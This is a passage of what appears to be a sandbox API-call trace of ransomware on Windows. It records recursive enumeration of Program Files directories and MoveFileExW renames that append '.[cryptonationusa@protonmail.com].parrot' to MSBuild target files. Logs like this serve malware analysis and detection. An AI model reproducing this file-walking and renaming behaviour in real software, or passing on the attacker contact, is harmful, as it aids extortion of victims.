dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.684] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.684] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.684] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0244.684] lstrcmpW (lpString1="ADO.NET", lpString2=".") returned 1 [0244.684] lstrcmpW (lpString1="ADO.NET", lpString2="..") returned 1 [0244.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0244.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x606108 [0244.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df78 | out: hHeap=0x5b0000) returned 1 [0244.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0244.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.685] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.685] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.686] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.686] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.686] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0244.686] lstrcmpW (lpString1="v1.0", lpString2=".") returned 1 [0244.686] lstrcmpW (lpString1="v1.0", lpString2="..") returned 1 [0244.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173da8 [0244.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x31fa7f0 [0244.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173da8 | out: hHeap=0x5b0000) returned 1 [0244.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0244.686] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.686] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.688] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.688] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.688] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.688] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.688] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0244.689] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5ebb88 [0244.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebb88 | out: hHeap=0x5b0000) returned 1 [0244.689] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.690] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.690] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0244.690] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5ebb88 [0244.690] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebb88 | out: hHeap=0x5b0000) returned 1 [0244.691] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.691] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.691] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0244.691] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0244.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173da8 | out: hHeap=0x5b0000) returned 1 [0244.692] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0244.692] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0244.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0244.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606108 | out: hHeap=0x5b0000) returned 1 [0244.692] FindClose (in: hFindFile=0x600410 | out: hFindFile=0x600410) returned 1 [0244.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.692] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.692] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0244.692] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0244.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df78 | out: hHeap=0x5b0000) returned 1 [0244.692] FindClose (in: hFindFile=0x600410 | out: hFindFile=0x600410) returned 1 [0244.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68de88 | out: hHeap=0x5b0000) returned 1 [0244.692] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bad8b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bad8b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0244.692] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1 [0244.692] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1 [0244.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x46) returned 0x5ddc50 [0244.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0244.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c8068 [0244.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.693] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0bad8b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0bad8b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.693] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.693] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26f73c90, ftCreationTime.dwHighDateTime=0x1d58c7f, ftLastAccessTime.dwLowDateTime=0x6136b810, ftLastAccessTime.dwHighDateTime=0x1d58868, ftLastWriteTime.dwLowDateTime=0x6136b810, ftLastWriteTime.dwHighDateTime=0x1d58868, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1 [0244.693] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.693] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.693] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.693] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.693] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.693] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.693] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.693] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0244.693] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2=".") returned 1 [0244.694] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2="..") returned 1 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5d51f8 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5ebb30 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0244.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ebb30 | out: hHeap=0x5b0000) returned 1 [0244.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173da8 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.694] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.694] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.694] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.694] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.694] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.694] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0244.694] lstrcmpW (lpString1="v3.0", lpString2=".") returned 1 [0244.694] lstrcmpW (lpString1="v3.0", lpString2="..") returned 1 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173e30 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x31fa7f0 [0244.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173e30 | out: hHeap=0x5b0000) returned 1 [0244.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0244.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x615450 [0244.694] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.695] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.695] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.696] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.696] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.696] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0244.696] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.696] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.744] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.744] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0244.746] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.746] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1276, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1276, lpOverlapped=0x0) returned 1 [0244.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.748] MoveFileExW (lpExistingFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), lpNewFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7438 | out: hHeap=0x5b0000) returned 1 [0244.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0244.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.756] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0244.757] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.757] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x143e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x143e, lpOverlapped=0x0) returned 1 [0244.758] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets"), lpNewFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.visualbasic.targets.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0244.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.762] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0244.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.764] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1de6d7a0, 